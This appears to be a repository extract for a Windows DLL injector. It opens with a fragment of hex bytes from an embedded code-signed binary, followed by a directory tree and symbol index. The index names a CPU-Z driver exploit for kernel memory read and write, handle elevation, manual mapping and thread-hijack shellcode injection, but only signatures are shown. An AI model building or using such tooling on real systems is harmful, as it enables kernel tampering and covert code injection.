0x1B, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0x00, 0x01, 0x01, 0xFF, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0xA5, 0x98,
0x08, 0xB3, 0x5F, 0x91, 0x6A, 0x12, 0x01, 0xF0, 0x98, 0x7B, 0x95, 0x8A, 0xAA, 0xF5, 0x0B, 0x81, 0xF3, 0xE5, 0x07, 0xCF, 0x9D, 0x1B, 0x90, 0x2B, 0xC2, 0x27, 0x87, 0x24, 0x46, 0x17, 0xE3, 0x80, 0x69, 0xE4, 0xCA, 0x74, 0xBC, 0xF5, 0x05, 0xDF, 0xDF, 0xEB, 0x6B, 0xAD, 0x8B, 0xEE, 0x2E, 0xCB, 0xA2, 0x6A, 0x42, 0x8C, 0x2B, 0x26, 0xC9, 0xB9, 0x98, 0x72, 0x41, 0xB5, 0x0C, 0xCF, 0xD8, 0x95, 0xA7, 0x33, 0x5B, 0x35, 0x53, 0x4C, 0x55, 0x69, 0xFD, 0xEF, 0x25, 0x54, 0xD7, 0x73, 0xCB, 0x3B, 0x20, 0xF1, 0x0E, 0x08, 0xEE, 0xFF, 0x27, 0x01, 0xD2, 0xA3, 0xE8, 0xEF, 0x7C, 0x5B, 0xB7, 0x59, 0xBA, 0xF1, 0x99, 0x5D, 0x15, 0x80, 0xDC, 0xE4, 0xF0, 0xC5, 0xDA, 0x90, 0xEF, 0xF4, 0xF0, 0x7E, 0x01, 0xE7, 0xC9, 0x27, 0x3B, 0x24, 0xC1, 0x4C, 0x51, 0x4F, 0x2A, 0xE1, 0xD1, 0xFE, 0x94, 0x0D,
0xD5, 0x3B, 0xFA, 0x25, 0x57, 0x2C, 0xD6, 0xF3, 0xC0, 0x07, 0xC7, 0xF2, 0x1A, 0xEB, 0xC5, 0x8E, 0xA3, 0x2C, 0xA3, 0xAE, 0xA8, 0x3C, 0x73, 0x14, 0x19, 0xC9, 0xDC, 0xC1, 0x91, 0x15, 0x8C, 0xBB, 0x52, 0xB0, 0xB7, 0x05, 0x45, 0xA1, 0x6C, 0x9B, 0x42, 0xAA, 0xDD, 0x4D, 0xCB, 0x16, 0x74, 0x43, 0xD6, 0xC1, 0x5F, 0xA0, 0x3A, 0xE7, 0xF6, 0xF0, 0xF6, 0x44, 0x84, 0x5A, 0x69, 0xCB, 0x8B, 0xAD, 0xB3, 0xF1, 0x43, 0xFD, 0x91, 0x6A, 0x70, 0xC5, 0x00, 0x8C, 0x34, 0x86, 0xD1, 0xF0, 0xCC, 0x8E, 0x05, 0x27, 0xF7, 0x6D, 0xA5, 0xAE, 0xAC, 0xA4, 0x92, 0x5F, 0x6E, 0xB6, 0x86, 0x1D, 0xD5, 0x4E, 0x1C, 0xE8, 0xB8, 0x0E, 0x6B, 0x00, 0x04, 0x46, 0xD7, 0x7A, 0xC8, 0xBD, 0x02, 0x99, 0xE3, 0x8D, 0xB3, 0xB8, 0xE4, 0xA9, 0xC4, 0x32, 0x94, 0x36, 0x7C, 0xD6, 0xA5, 0x53, 0x51, 0xD0, 0x30, 0x82,
0x06, 0x0A, 0x30, 0x82, 0x04, 0xF2, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x52, 0x00, 0xE5, 0xAA, 0x25, 0x56, 0xFC, 0x1A, 0x86, 0xED, 0x96, 0xC9, 0xD4, 0x4B, 0x33, 0xC7, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0xCA, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3A, 0x30, 0x38, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13,
0x31, 0x28, 0x63, 0x29, 0x20, 0x32, 0x30, 0x30, 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x20, 0x2D, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x61, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, 0x64, 0x20, 0x75, 0x73, 0x65, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x31, 0x45, 0x30, 0x43, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x3C, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, 0x20, 0x2D, 0x20, 0x47, 0x35, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x30, 0x30,
0x32, 0x30, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, 0x30, 0x32, 0x30, 0x37, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x81, 0xB4, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6D, 0x73, 0x20, 0x6F, 0x66, 0x20, 0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74,
0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, 0x20, 0x28, 0x63, 0x29, 0x31, 0x30, 0x31, 0x2E, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x25, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x43, 0x41, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xF5, 0x23, 0x4B, 0x5E, 0xA5, 0xD7, 0x8A, 0xBB, 0x32, 0xE9, 0xD4, 0x57, 0xF7, 0xEF, 0xE4,
0xC7, 0x26, 0x7E, 0xAD, 0x19, 0x98, 0xFE, 0xA8, 0x9D, 0x7D, 0x94, 0xF6, 0x36, 0x6B, 0x10, 0xD7, 0x75, 0x81, 0x30, 0x7F, 0x04, 0x68, 0x7F, 0xCB, 0x2B, 0x75, 0x1E, 0xCD, 0x1D, 0x08, 0x8C, 0xDF, 0x69, 0x94, 0xA7, 0x37, 0xA3, 0x9C, 0x7B, 0x80, 0xE0, 0x99, 0xE1, 0xEE, 0x37, 0x4D, 0x5F, 0xCE, 0x3B, 0x14, 0xEE, 0x86, 0xD4, 0xD0, 0xF5, 0x27, 0x35, 0xBC, 0x25, 0x0B, 0x38, 0xA7, 0x8C, 0x63, 0x9D, 0x17, 0xA3, 0x08, 0xA5, 0xAB, 0xB0, 0xFB, 0xCD, 0x6A, 0x62, 0x82, 0x4C, 0xD5, 0x21, 0xDA, 0x1B, 0xD9, 0xF1, 0xE3, 0x84, 0x3B, 0x8A, 0x2A, 0x4F, 0x85, 0x5B, 0x90, 0x01, 0x4F, 0xC9, 0xA7, 0x76, 0x10, 0x7F, 0x27, 0x03, 0x7C, 0xBE, 0xAE, 0x7E, 0x7D, 0xC1, 0xDD, 0xF9, 0x05, 0xBC, 0x1B, 0x48, 0x9C, 0x69, 0xE7, 0xC0, 0xA4, 0x3C, 0x3C, 0x41, 0x00, 0x3E, 0xDF, 0x96, 0xE5, 0xC5, 0xE4,
0x94, 0x71, 0xD6, 0x55, 0x01, 0xC7, 0x00, 0x26, 0x4A, 0x40, 0x3C, 0xB5, 0xA1, 0x26, 0xA9, 0x0C, 0xA7, 0x6D, 0x80, 0x8E, 0x90, 0x25, 0x7B, 0xCF, 0xBF, 0x3F, 0x1C, 0xEB, 0x2F, 0x96, 0xFA, 0xE5, 0x87, 0x77, 0xC6, 0xB5, 0x56, 0xB2, 0x7A, 0x3B, 0x54, 0x30, 0x53, 0x1B, 0xDF, 0x62, 0x34, 0xFF, 0x1E, 0xD1, 0xF4, 0x5A, 0x93, 0x28, 0x85, 0xE5, 0x4C, 0x17, 0x4E, 0x7E, 0x5B, 0xFD, 0xA4, 0x93, 0x99, 0x7F, 0xDF, 0xCD, 0xEF, 0xA4, 0x75, 0xEF, 0xEF, 0x15, 0xF6, 0x47, 0xE7, 0xF8, 0x19, 0x72, 0xD8, 0x2E, 0x34, 0x1A, 0xA6, 0xB4, 0xA7, 0x4C, 0x7E, 0xBD, 0xBB, 0x4F, 0x0C, 0x3D, 0x57, 0xF1, 0x30, 0xD6, 0xA6, 0x36, 0x8E, 0xD6, 0x80, 0x76, 0xD7, 0x19, 0x2E, 0xA5, 0xCD, 0x7E, 0x34, 0x2D, 0x89, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0xFE, 0x30, 0x82, 0x01, 0xFA, 0x30, 0x12,
0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x70, 0x06, 0x03, 0x55, 0x1D, 0x20, 0x04, 0x69, 0x30, 0x67, 0x30, 0x65, 0x06, 0x0B, 0x60, 0x86, 0x48, 0x01, 0x86, 0xF8, 0x45, 0x01, 0x07, 0x17, 0x03, 0x30, 0x56, 0x30, 0x28, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1C, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x63, 0x70, 0x73, 0x30, 0x2A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x1E, 0x1A, 0x1C, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D,
0x2F, 0x72, 0x70, 0x61, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x6D, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x0C, 0x04, 0x61, 0x30, 0x5F, 0xA1, 0x5D, 0xA0, 0x5B, 0x30, 0x59, 0x30, 0x57, 0x30, 0x55, 0x16, 0x09, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x2F, 0x67, 0x69, 0x66, 0x30, 0x21, 0x30, 0x1F, 0x30, 0x07, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x04, 0x14, 0x8F, 0xE5, 0xD3, 0x1A, 0x86, 0xAC, 0x8D, 0x8E, 0x6B, 0xC3, 0xCF, 0x80, 0x6A, 0xD4, 0x48, 0x18, 0x2C, 0x7B, 0x19, 0x2E, 0x30, 0x25, 0x16, 0x23, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6C, 0x6F, 0x67, 0x6F, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x76, 0x73, 0x6C, 0x6F, 0x67, 0x6F, 0x2E,
0x67, 0x69, 0x66, 0x30, 0x34, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x2D, 0x30, 0x2B, 0x30, 0x29, 0xA0, 0x27, 0xA0, 0x25, 0x86, 0x23, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x63, 0x61, 0x33, 0x2D, 0x67, 0x35, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x34, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x28, 0x30, 0x26, 0x30, 0x24, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05,
gitextract_9eedc8zr/ ├── .gitattributes ├── .gitignore ├── App.config ├── Driver Exploit/ │ ├── CPUZ.cs │ ├── CPUZShellcode.cs │ └── ElevateHandle.cs ├── Extensions/ │ └── ProcessExtensions.cs ├── Forms/ │ ├── DankInjectionForm.Designer.cs │ ├── DankInjectionForm.cs │ ├── DankInjectionForm.resx │ ├── NewInjectionForm.Designer.cs │ ├── NewInjectionForm.cs │ ├── NewInjectionForm.resx │ ├── TaskList.Designer.cs │ ├── TaskList.cs │ └── TaskList.resx ├── Helpers/ │ ├── Logger.cs │ ├── Natives.cs │ ├── ShellcodeGenerator.cs │ └── Tools.cs ├── Injection/ │ ├── IInjectionMethod.cs │ ├── LoadLibrary.cs │ └── ManualMap.cs ├── LICENSE ├── Loadlibrayy.csproj ├── Miscellaneous/ │ ├── Program.cs │ └── app.manifest ├── Properties/ │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── README.md ├── Shellcodes/ │ ├── call_dllmain_x64.asm │ ├── threadhijack_dllmain_x64.asm │ └── threadhijack_loadlibrary_x64.asm ├── loadlibrayy.sln └── packages.config
SYMBOL INDEX (218 symbols across 20 files)
FILE: Driver Exploit/CPUZ.cs
class CPUZ (line 12) | public unsafe class CPUZ
type InputReadStruct (line 26) | [StructLayout(LayoutKind.Sequential)]
type InputWriteStruct (line 36) | [StructLayout(LayoutKind.Sequential)]
type OutputStruct (line 44) | [StructLayout(LayoutKind.Sequential)]
method Load (line 57) | public bool Load()
method Unload (line 133) | public bool Unload()
method LODWORD (line 156) | private ulong LODWORD(ulong l) => (l & 0xffffffff);
method HIDWORD (line 157) | private ulong HIDWORD(ulong l) => ((l >> 32) & 0xffffffff);
method TranslateLinearAddress (line 164) | public ulong TranslateLinearAddress(ulong directoryTableBase, ulong vi...
method ReadControlRegister (line 228) | public ulong ReadControlRegister(uint controlRegister)
method ReadPhysicalAddress (line 243) | public bool ReadPhysicalAddress(ulong lpAddress, ulong lpBuffer, ulong...
method WritePhysicalAddress (line 265) | public bool WritePhysicalAddress(ulong address, ulong buf, ulong len)
method ReadSystemAddress (line 303) | public bool ReadSystemAddress(ulong address, ulong buf, ulong len)
method WriteSystemAddress (line 318) | public bool WriteSystemAddress(ulong address, ulong buf, ulong len)
method ReadPhysicalAddress (line 330) | public T ReadPhysicalAddress<T>(ulong address) where T : struct
method ReadSystemAddress (line 344) | public T ReadSystemAddress<T>(ulong address) where T : struct
method WritePhysicalAddress (line 357) | public bool WritePhysicalAddress<T>(ulong address, T value) where T : ...
method WriteSystemAddress (line 368) | public bool WriteSystemAddress<T>(ulong address, T value) where T : st...
class Nt (line 383) | private static class Nt
method DeviceIoControl (line 386) | [DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true...
method CloseHandle (line 397) | [DllImport("kernel32.dll", SetLastError = true)]
method NtOpenFile (line 401) | [DllImport("ntdll.dll", CharSet = CharSet.Auto)]
type OBJECT_ATTRIBUTES (line 405) | [StructLayout(LayoutKind.Sequential, Pack = 0)]
type IO_STATUS_BLOCK (line 416) | [StructLayout(LayoutKind.Sequential, Pack = 0)]
type UNICODE_STRING (line 422) | [StructLayout(LayoutKind.Sequential)]
method UNICODE_STRING (line 429) | public UNICODE_STRING(string s)
method Dispose (line 436) | public void Dispose()
method ToString (line 442) | public override string ToString()
type SERVICE_ACCESS (line 449) | [Flags]
type ACCESS_MASK (line 569) | [Flags]
type SERVICE_START (line 623) | public enum SERVICE_START : uint
class ServiceHelper (line 665) | public static class ServiceHelper
method CreateService (line 667) | public static bool CreateService(
method OpenService (line 694) | public static bool OpenService(out IntPtr hService, string szServiceNa...
method StopService (line 701) | public static bool StopService(IntPtr hService)
method StartService (line 707) | public static bool StartService(IntPtr hService) => Nt.StartService(hS...
method DeleteService (line 708) | public static bool DeleteService(IntPtr hService) => Nt.DeleteService(...
method CloseServiceHandle (line 709) | public static void CloseServiceHandle(IntPtr hService) => Nt.CloseServ...
class Nt (line 714) | private static class Nt
method OpenSCManager (line 716) | [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpell...
method OpenService (line 719) | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Au...
method CloseServiceHandle (line 722) | [DllImport("advapi32.dll", SetLastError = true)]
method ControlService (line 726) | [DllImport("advapi32.dll", SetLastError = true)]
method StartService (line 730) | [DllImport("advapi32", SetLastError = true)]
method DeleteService (line 738) | [DllImport("advapi32.dll", SetLastError = true)]
method CreateServiceW (line 742) | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Au...
type SERVICE_STATUS (line 759) | [StructLayout(LayoutKind.Sequential, Pack = 0)]
type SERVICE_TYPE (line 770) | [Flags]
type SERVICE_CONTROL (line 779) | [Flags]
type SERVICE_STATE (line 797) | public enum SERVICE_STATE : uint
type SERVICE_ACCEPT (line 808) | [Flags]
FILE: Driver Exploit/CPUZShellcode.cs
class CPUZShellcode (line 9) | public static class CPUZShellcode
FILE: Driver Exploit/ElevateHandle.cs
method Attach (line 28) | public static void Attach() => g_Context = FindProcessInfo((uint)Process...
method Elevate (line 30) | public static bool Elevate(ulong handle, dynamic desiredAccess)
method UpdateDynamicData (line 51) | public static void UpdateDynamicData()
FILE: Extensions/ProcessExtensions.cs
class WhatMicrosoftShouldHaveDone (line 18) | public unsafe static class WhatMicrosoftShouldHaveDone
method InjectShellcode (line 21) | public static void InjectShellcode(this Process process, byte[] shellc...
method GetPebAddress (line 38) | public static ulong GetPebAddress(this Process process)
method GetLoaderData (line 45) | public static NT._PEB_LDR_DATA GetLoaderData(this Process process)
method WriteLoaderData (line 50) | public static void WriteLoaderData(this Process process, NT._PEB_LDR_D...
method AllocateMemory (line 58) | public static ulong AllocateMemory(this Process process, uint length, ...
method FreeMemory (line 61) | public static bool FreeMemory(this Process process, ulong memoryPointe...
method VirtualQuery (line 64) | public static NT.MEMORY_BASIC_INFORMATION VirtualQuery(this Process pr...
method VirtualProtect (line 70) | public static NT.MemoryProtection VirtualProtect(this Process process,...
method AllocateAndWrite (line 78) | public static ulong AllocateAndWrite(this Process process, byte[] buff...
method WriteRawMemory (line 87) | public static void WriteRawMemory(this Process process, byte[] buffer,...
method ReadRawMemory (line 96) | public static byte[] ReadRawMemory(this Process process, ulong memoryP...
method Write (line 104) | public static void Write<T>(this Process process, T value, ulong memor...
method Read (line 109) | public static T Read<T>(this Process process, ulong memoryPointer) whe...
method NukeMemoryPage (line 116) | public static void NukeMemoryPage(this Process process, ulong memoryPo...
method CreateSection (line 127) | public static ulong CreateSection(this Process process, NT.MemoryProte...
method MapSection (line 136) | public static ulong MapSection(this Process process, ulong sectionHand...
method UnmapSection (line 145) | public static uint UnmapSection(this Process process, ulong baseAddres...
method GetModuleByName (line 149) | public static ulong GetModuleByName(this Process process, string modul...
method GetModules (line 169) | public static Dictionary<string, ulong> GetModules(this Process process)
method CreateThread (line 196) | public static ulong CreateThread(this Process process, ulong startAddr...
method CreateAndWaitForThread (line 200) | public static uint CreateAndWaitForThread(this Process process, ulong ...
method GetNativeHandle (line 207) | public static ulong GetNativeHandle(this ProcessThread thread, NT.Thre...
FILE: Forms/DankInjectionForm.Designer.cs
class DankInjectionForm (line 3) | partial class DankInjectionForm
method Dispose (line 14) | protected override void Dispose(bool disposing)
method InitializeComponent (line 29) | private void InitializeComponent()
FILE: Forms/DankInjectionForm.cs
class DankInjectionForm (line 20) | public partial class DankInjectionForm : Form
method DankInjectionForm (line 22) | public DankInjectionForm()
method InjectionForm_Load (line 28) | private void InjectionForm_Load(object sender, EventArgs e)
method InjectionForm_FormClosing (line 78) | private void InjectionForm_FormClosing(object sender, FormClosedEventA...
method ButtonInitiateInjection_Click (line 83) | private void ButtonInitiateInjection_Click(object sender, EventArgs e)
method ButtonAddImage_Click (line 160) | private void ButtonAddImage_Click(object sender, EventArgs e)
method ButtonClearImages_Click (line 173) | private void ButtonClearImages_Click(object sender, EventArgs e)
method DeleteToolStripMenuItem1_Click (line 180) | private void DeleteToolStripMenuItem1_Click(object sender, EventArgs e)
method ListImageListView_MouseDown (line 188) | private void ListImageListView_MouseDown(object sender, MouseEventArgs e)
method ButtonSelectProcess_Click (line 203) | private void ButtonSelectProcess_Click(object sender, EventArgs e)
method ChkElevateHandle_CheckedChanged (line 211) | private void ChkElevateHandle_CheckedChanged(object sender, EventArgs e)
method ChkEraseHeaders_CheckedChanged (line 220) | private void ChkEraseHeaders_CheckedChanged(object sender, EventArgs e)
method InjectionForm_FormClosing (line 226) | private void InjectionForm_FormClosing(object sender, FormClosingEvent...
FILE: Forms/NewInjectionForm.Designer.cs
class NewInjectionForm (line 3) | partial class NewInjectionForm
method Dispose (line 14) | protected override void Dispose(bool disposing)
method InitializeComponent (line 29) | private void InitializeComponent()
FILE: Forms/NewInjectionForm.cs
class NewInjectionForm (line 17) | public partial class NewInjectionForm : Form
method NewInjectionForm (line 21) | public NewInjectionForm()
method InjectButton_Click (line 26) | private void InjectButton_Click(object sender, EventArgs e)
method SelectButton_Click (line 96) | private void SelectButton_Click(object sender, EventArgs e)
method NewInjectionForm_Load (line 105) | private void NewInjectionForm_Load(object sender, EventArgs e)
FILE: Forms/TaskList.Designer.cs
class TaskListForm (line 3) | partial class TaskListForm
method Dispose (line 14) | protected override void Dispose(bool disposing)
method InitializeComponent (line 29) | private void InitializeComponent()
FILE: Forms/TaskList.cs
class TaskListForm (line 14) | public partial class TaskListForm : Form
method TaskListForm (line 17) | public TaskListForm()
method TaskListForm_Load (line 22) | private void TaskListForm_Load(object sender, EventArgs e) => Upd...
method buttonRefresh_Click (line 23) | private void buttonRefresh_Click(object sender, EventArgs e) => Upd...
method buttonSelectProcess_Click (line 25) | private void buttonSelectProcess_Click(object sender, EventArgs e)
method UpdateTaskList (line 31) | private void UpdateTaskList()
FILE: Helpers/Logger.cs
class Log (line 10) | public static class Log
method LogGeneral (line 12) | public static void LogGeneral(string general) =>
method LogInfo (line 15) | public static void LogInfo(string information) =>
method LogVariable (line 18) | public static void LogVariable<T>(string variableName, T variable) =>
method LogError (line 21) | public static void LogError(string error) =>
method ShowWarning (line 24) | public static void ShowWarning(string message, string title) =>
method ShowInformation (line 27) | public static void ShowInformation(string message, string title) =>
method ShowError (line 30) | public static void ShowError(string message, string title) =>
FILE: Helpers/Natives.cs
class NTM (line 12) | public static class NTM
method GetModuleFunction (line 16) | public static ulong GetModuleFunction(string moduleName, string functi...
method WaitForThread (line 19) | public static void WaitForThread(ulong threadHandle)
method OpenThread (line 22) | public static ulong OpenThread(NT.ThreadAccess threadAccess, int threa...
method GetThreadExitCode (line 25) | public static uint GetThreadExitCode(ulong threadHandle)
method GetModuleBaseName (line 31) | public static string GetModuleBaseName(IntPtr processHandle, ulong mod...
class NT (line 41) | public static unsafe class NT
method NtCreateSection (line 44) | [DllImport("ntdll.dll", SetLastError = true)]
method CloseHandle (line 50) | [DllImport("kernel32.dll", SetLastError = true)]
method NtMapViewOfSection (line 54) | [DllImport("ntdll.dll", SetLastError = true)]
method NtQueryInformationProcess (line 61) | [DllImport("ntdll.dll", SetLastError = true)]
method NtUnmapViewOfSection (line 64) | [DllImport("ntdll.dll", SetLastError = true)]
method VirtualQueryEx (line 67) | [DllImport("kernel32.dll")]
method EnumProcessModules (line 70) | [DllImport("psapi.dll", CallingConvention = CallingConvention.StdCall,...
method GetModuleFileNameEx (line 73) | [DllImport("psapi.dll", CallingConvention = CallingConvention.StdCall,...
method GetModuleBaseName (line 76) | [DllImport("psapi.dll", CallingConvention = CallingConvention.StdCall,...
method OpenProcess (line 79) | [DllImport("kernel32.dll", SetLastError = true)]
method NtQuerySystemInformation (line 82) | [DllImport("ntdll.dll", SetLastError = true)]
method RtlGetVersion (line 85) | [DllImport("ntdll.dll", SetLastError = true)]
method LoadLibrary (line 88) | [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
method FreeLibrary (line 91) | [DllImport("kernel32.dll", SetLastError = true)]
method GetProcAddress (line 95) | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, S...
method GetProcAddress (line 98) | [DllImport("kernel32", SetLastError = true)]
method GetModuleHandle (line 101) | [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
method CreateRemoteThread (line 104) | [DllImport("kernel32.dll", SetLastError = true)]
method VirtualAllocEx (line 107) | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
method VirtualProtectEx (line 110) | [DllImport("kernel32.dll")]
method VirtualFreeEx (line 113) | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
method ReadProcessMemory (line 116) | [DllImport("kernel32.dll")]
method WriteProcessMemory (line 119) | [DllImport("kernel32.dll", SetLastError = true)]
method GetExitCodeThread (line 122) | [DllImport("kernel32.dll", SetLastError = true)]
method WaitForSingleObject (line 125) | [DllImport("kernel32.dll", SetLastError = true)]
method OpenThread (line 128) | [DllImport("kernel32.dll", SetLastError = true)]
method GetThreadContext (line 131) | [DllImport("kernel32.dll", SetLastError = true)]
method SetThreadContext (line 134) | [DllImport("kernel32.dll", SetLastError = true)]
method ResumeThread (line 137) | [DllImport("kernel32.dll", SetLastError = true)]
method SuspendThread (line 140) | [DllImport("kernel32.dll", SetLastError = true)]
type PROCESS_BASIC_INFORMATION (line 145) | [StructLayout(LayoutKind.Sequential, Pack = 1)]
type _PEB (line 161) | [StructLayout(LayoutKind.Sequential)]
type _PEB_LDR_DATA (line 171) | [StructLayout(LayoutKind.Sequential)]
type UNICODE_STRING (line 183) | [StructLayout(LayoutKind.Sequential)]
method UNICODE_STRING (line 190) | public UNICODE_STRING(string s)
type _LDR_DATA_TABLE_ENTRY (line 198) | [StructLayout(LayoutKind.Sequential)]
type _LIST_ENTRY (line 222) | [StructLayout(LayoutKind.Sequential)]
type IMAGE_BASE_RELOCATION (line 229) | [StructLayout(LayoutKind.Sequential)]
type IMAGE_IMPORT_DESCRIPTOR (line 236) | [StructLayout(LayoutKind.Sequential)]
type IMAGE_SECTION_HEADER (line 246) | [StructLayout(LayoutKind.Explicit)]
type MEMORY_BASIC_INFORMATION (line 289) | [StructLayout(LayoutKind.Sequential)]
type IMAGE_DOS_HEADER (line 302) | [StructLayout(LayoutKind.Explicit)]
type IMAGE_NT_HEADERS (line 309) | [StructLayout(LayoutKind.Sequential)]
type MachineType (line 317) | public enum MachineType : ushort
type MagicType (line 324) | public enum MagicType : ushort
type SubSystemType (line 329) | public enum SubSystemType : ushort
type DllCharacteristicsType (line 344) | public enum DllCharacteristicsType : ushort
type IMAGE_OPTIONAL_HEADER64 (line 361) | [StructLayout(LayoutKind.Explicit)]
type IMAGE_FILE_HEADER (line 500) | [StructLayout(LayoutKind.Sequential)]
